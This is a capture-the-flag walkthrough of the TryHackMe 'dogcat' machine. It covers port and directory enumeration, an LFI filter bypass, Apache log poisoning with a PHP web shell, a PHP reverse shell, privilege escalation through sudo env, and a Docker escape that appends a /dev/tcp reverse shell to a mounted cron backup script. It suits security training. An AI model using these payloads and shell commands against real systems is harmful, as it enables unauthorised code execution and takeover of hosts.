This is the medium box on TryHackMe website. It requires the some knowledge about docker. Lets start
For beginning I put the ip in /etc/hosts for convinient

10.10.125.102 dogcat.thm

Enumeration

Port Scanning

We begin with some nmap to find out which service is running on this host

nmap -p- -v dogcat.thm
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

So there is 2 services is running on this port. I guess there is a SSH server and Web server but I scan them for sure

nmap -A -p 80,22 dogcat.thm
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

So I am correct, there is Web server is running on port 80. Let’s start to enumerate that server

Webserver port 80

alt text
At a first glance, we can see this is a web page for showing random picture of dog and cat. I will start with directory bruteforce to see whether any hidden directory

Directory brute force

gobuster dir -u http://dogcat.thm -w /usr/share/wordlists/dirb/common.txt -x php -t 20
...
/.hta                 (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.hta.php             (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/cat.php              (Status: 200) [Size: 26] 
/cats                 (Status: 301) [Size: 307] [--> http://dogcat.thm/cats/]
/flag.php             (Status: 200) [Size: 0]                                
/index.php            (Status: 200) [Size: 418]                              
/index.php            (Status: 200) [Size: 418]                              
/server-status        (Status: 403) [Size: 275]   

The result doesn’t us any more interesting directory. All the directory in the result we can found on the web. But there is a interesting xxxx.php here. I access that page and it show nothing. So we need to move on.

/?view=dog

I click on the the dog option and see access a parameter view=dog. For this one, i try different inputs like cat, aaa, …. According to my observations, it only allow 2 keywords is dog and cat. I wonder what is happening behind it so I look at the page source but nothing much we can gather here cause there aren’t and script here.

LFI fuzzing

As the box is about LFI, so use Burp Suite Intruder to fuzzing some payload for LFI (I use this payload). And we got the result with this payload ?view=%0a%2fbin%2fcat%20%2fetc%2fpasswd, it return an error:

<b>Warning</b>:  include(
/bin/cat /etc/passwd.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>:  include(): Failed opening '
/bin/cat /etc/passwd.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>24</b>

So base on the error, we know that it the script will take our input and add the extension .php to the end of it then try to execute that file.

Exploit

LFI

Now we know what happen to our input but how can we leveagre that into actual LFI. So now I try to read the content of the index.php to see is there any usefull information in here. But we cannot input the path to it because the script we try to execute the index.php instead dispaly to us the source code.
So I use littel trick to convert it into base 64 so we can read it. The this is using php://filter/convert.base64-encode/resource=index so it will convert to content of the iindex.php in base64 but we got this error
alt text
It was blocked, I think there is a filtered here. Base on the error and the input before, I think the input must have the word dog or cat inside it (some kind of whitelist filter). After few try, I found the payload like this ?view=php://filter/convert.base64-encode/resource=./dog/../index
alt text
And voila, we got the content of index.php in base 64. And here is the decode of it:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

Base on the code, you can see there is 1 more paramter allow us to change the extention of the file. Now we got fully control LFI, what can we to get RCE. As the result from Nmap, it show this is a apache serve so the common path for LFI to RCE on this case is we can do Apache log positoning.

RCE

The Idea is that we can try to input some PHP code to log of the server and later we read that log, our code will be execute. But how can we inject the PHP code? We could start with User-Agent header. But first I will try to check can we access to log of its. After a few try, this payload works

?view=../dog/../../../../../../../../var/log/apache2/access&ext=.log

alt text
I change to extention to .log. At first i try var/log/apache/access but it’s not work so I change to that. Now we can see the log, we can move on to the next phase. I will use Burp suite to intercept the request and change the User-Agent to <?php system($_GET['cmd']);?> (this code we add another param is cmd which places php code execute shell command)
alt text
After that input our code to the log, we can check this by using parameter cmd to execute some command. There is a lot of ways to check it, most tutorial show us to run some command like id or whoami the find the result inside the log but I don’t like it. So I choose to make request to my local machine like ping or curl, …. I try ping but it not works so with this payload

?view=../dog/../../../../../../../../var/log/apache2/access&ext=.log&cmd=curl http://10.17.7.60```

My server recieve some request

root@kali:~/Desktop/tools/winpeas/linux# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.79.188 - - [31/Jul/2021 07:42:48] "GET / HTTP/1.1" 200 -

So our injection works. Let try a reverse shell on this machine. This machine use PHP so I will use PHP for higher chance of success

php -r '$sock=fsockopen("IP",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

And we got the reverse shell and 2 flags

root@kali:/# nc -nvlp 7777
listening on [any] 7777 ...
connect to [10.17.7.60] from (UNKNOWN) [10.10.79.188] 50048
/bin/sh: 0: can't access tty; job control turned off
$ ls
cat.php
cats
dog.php
dogs
flag.php
index.php
style.css
$ cat flag.php
<?php
$flag_1 = "THM{xxxxxxxxxxxxxxxx}"
?>
$ cd ..
$ ls
flag2_QMW7JvaY2LvK.txt
html
$ cat flag2_QMW7JvaY2LvK.txt
THM{xxxxxxxxxxxxxxxxxxxx}

Escalating to root

The first I check is sudo right

$ sudo -l
Matching Defaults entries for www-data on e5538bd93235:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on e5538bd93235:
    (root) NOPASSWD: /usr/bin/env

So our user has the right to run env as root. I use this one on GTFObin to escaliting to root

$ sudo env /bin/bash -p
whoami
root
cd /root
ls
flag3.txt
cat flag3.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

So now we are root, but we still in the docker

Escape docker

Most of the box I have played about docker, a lot of them use mount for monting the root folder on the machine to the image inside the docker container. So i will start by enumeration which is mounting to this machine

mount -l
...
/dev/xvda2 on /opt/backups type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
/dev/xvda2 on /var/www/html type ext4 (rw,relatime,data=ordered)
...

I snips some part of the result so you can see the real important thing here. Folder /dev/ on the Linux is in charge of holding file for storage. So we can see it is mount to interesting file is /opt/backups. So let look at this

cd /opt/backups
ls 
backup.sh
backup.tar

We can see there is 2 files here. Let look at the content of backup.sh

cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

So this one is use for back up the the root/container/ folder on the real machine to backup.tar so I get this is a cronjob (cause most of the backup related to cronjob). Rememeber this is the mounting folder so if we change any thing in this file, this file on the real machine also be change to. So I using this to add some script to leverage the cronjob on the real machine when run this script will make a reverse shell to my kali

echo "bash -i >& /dev/tcp/10.17.7.60/6666 0>&1" >> backup.sh
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
bash -i >& /dev/tcp/10.17.7.60/6666 0>&1

And the we wait for the cronjob on the real machine to run this script

root@kali:~# nc -nlvp 6666
listening on [any] 6666 ...
connect to [10.17.7.60] from (UNKNOWN) [10.10.79.188] 52340
bash: cannot set terminal process group (6321): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
cat flag4.txt
THM{xxxxxxxxxxxxxxxxxxxxx}

And now got the reverse shell. The end.